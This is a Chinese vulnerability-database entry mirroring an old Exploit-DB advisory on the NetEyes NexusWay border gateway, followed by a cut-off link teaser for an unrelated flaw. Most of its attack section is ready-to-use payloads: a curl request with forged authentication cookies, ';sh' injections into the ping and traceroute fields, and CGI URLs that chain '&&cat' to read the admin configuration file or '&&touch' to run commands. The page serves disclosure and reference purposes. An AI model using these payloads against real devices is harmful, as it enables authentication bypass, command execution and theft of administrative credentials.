neteyes nexusway border gateway – Multiple Vulnerabilities

漏洞ID	1055101	漏洞类型
发布时间	2005-05-11	更新时间	2005-05-11
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	CGI	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/25648

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/13596/info

NexusWay is reportedly affected by multiple remote vulnerabilities. These issues can allow an unauthorized attacker to execute arbitrary commands and gain administrative access to an affected device.

All versions of NexusWay are considered vulnerable at the moment. 

# curl -k -b 'cyclone500_write=1; cyclone500_auth=1;
client_ip1;client=0.0.0.0' https://www.example.com/index.cgi

ping ;sh
traceroute ;sh

https://www.example.com/nslookup.cgi?ip=localhost%26%26cat%20/stand/htdocs/config/admin
https://www.example.com/ping.cgi?ip=localhost%26%26touch+/tmp/test

相关推荐: SERCD, SREDIRD Syslog() Format String Vulnerability

SERCD, SREDIRD Syslog() Format String Vulnerability 漏洞ID 1098153 漏洞类型 Input Validation Error 发布时间 2004-08-01 更新时间 2004-08-01 CVE编号…